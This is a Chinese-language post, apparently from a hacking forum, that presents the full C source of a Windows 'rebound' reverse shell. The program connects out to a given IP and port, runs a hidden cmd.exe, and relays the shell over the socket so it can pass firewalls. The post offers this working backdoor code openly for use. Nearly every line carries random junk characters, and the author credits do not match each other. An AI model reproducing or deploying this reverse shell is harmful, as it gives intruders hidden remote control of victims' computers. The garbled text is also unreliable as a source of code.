这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 M-}j9,oR`
XKpL4]{&q4
/* ============================== TEH*@~P"
Rebound port in Windows NT N)9pz?*V
By wind,2006/7 %"1`
NT
===============================*/ bnAT,v{
#include YJ&lB&xH
#include 2]?w~qjWm
W?SP .-I
#pragma comment(lib,"wsock32.lib") HVtr,jg
R-=_z6<
void OutputShell(); E1$Hu{
SOCKET sClient; 5xG|35Pj
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; M"k3zK,
D{Hh#x8Y
void main(int argc,char **argv) ^zBjG/'7
{ bEVO<x+
WSADATA stWsaData; '*o7_Ez-{
int nRet; .Z(S4wV
SOCKADDR_IN stSaiClient,stSaiServer; stf,<W
+a7EsR
if(argc != 3) U:s}/to
{ D[?k ,*
printf("Useage:\n\rRebound DestIP DestPort\n"); Vy?R/
Uu
return; ccHLL6F{
} H1aV}KD
m1~qaD<DZ$
WSAStartup(MAKEWORD(2,2),&stWsaData); fW_}!`:
d~togTs1
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yYxeNE"
5`1(}
stSaiClient.sin_family = AF_INET; */0vJz%<.M
stSaiClient.sin_port = htons(0); Verbmeg&n
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); GnSgO-$"
{ r<(t#
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) W\ 1bE(AwZ
{ : ;E7+m
printf("Bind Socket Failed!\n"); 3i@ "D
return; KdBq@
} !=~s/{$PE
W+F<P@[u<$
stSaiServer.sin_family = AF_INET; m &0(%
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 8`L#1ybMO
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); )OW(T^>_'I
C8bGae(
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Sleu#]-
{ *G2)@0
{
printf("Connect Error!"); iylBK!ou
return; kT Z?+hx
} Lo$Z>u4(c
OutputShell(); 3*X,{%
} fg>B
STFQ";z$
void OutputShell() ~x4{P;y
{ FqT,4SIR
char szBuff[1024]; []2$rJZD9
SECURITY_ATTRIBUTES stSecurityAttributes;
l0:e=q2Ax
OSVERSIONINFO stOsversionInfo; :_{{PY0PK
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; j#Ky0+@V
STARTUPINFO stStartupInfo; z*NC?\
char *szShell; SIaUrC
PROCESS_INFORMATION stProcessInformation; '[M^f+H|
unsigned long lBytesRead; '%n<MTL
w(vE2Y ?
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Xh7~MU~X
YJ$Vn>6Z
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); uv~qK:Nw(
stSecurityAttributes.lpSecurityDescriptor = 0; Tdk2436=
stSecurityAttributes.bInheritHandle = TRUE; bo~{<UT
&6,Yjs:T m
2$SofG6D}
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ZuFVtW@
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); g "K#&
#Vn>ue+?
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Kc2OLz#
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $ +GFOO
stStartupInfo.wShowWindow = SW_HIDE; @^y?Bh9jQ
stStartupInfo.hStdInput = hReadPipe; }ZM*[j
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; EL 8N[]RF
[G'!`^V,
GetVersionEx(&stOsversionInfo); pjKl)q
m>*A0&??[
switch(stOsversionInfo.dwPlatformId) E.H,1 {
{ .@8m\
case 1: %X0NHta~@
szShell = "command.com"; l~Ie#vak
break; 9A *?E
default: <.A C=4@V
szShell = "cmd.exe"; YjX!q]56
break; ; $ ?jR
c
} oM18aR&
#iRyjD
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @o3R`ZgC]\
c:@OX[##
send(sClient,szMsg,77,0); 5E\<r/FeJ
while(1) cAKoPU>U
{ /BjGAa(
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); w.T=Lzp
if(lBytesRead) .j:.WnW
{ ^M"=A}h
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Rvu3Qo+
send(sClient,szBuff,lBytesRead,0); ~J. Fl[
} VkN[=0a,
else Tk v
{ }{kTh%^
lBytesRead=recv(sClient,szBuff,1024,0); aG8D%i0
if(lBytesRead<=0) break; q563,s
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?2;n=&ZM
} g~^{-6Vg
} ot>EnHfV
\yX !P1
return; zI2KIXcc
}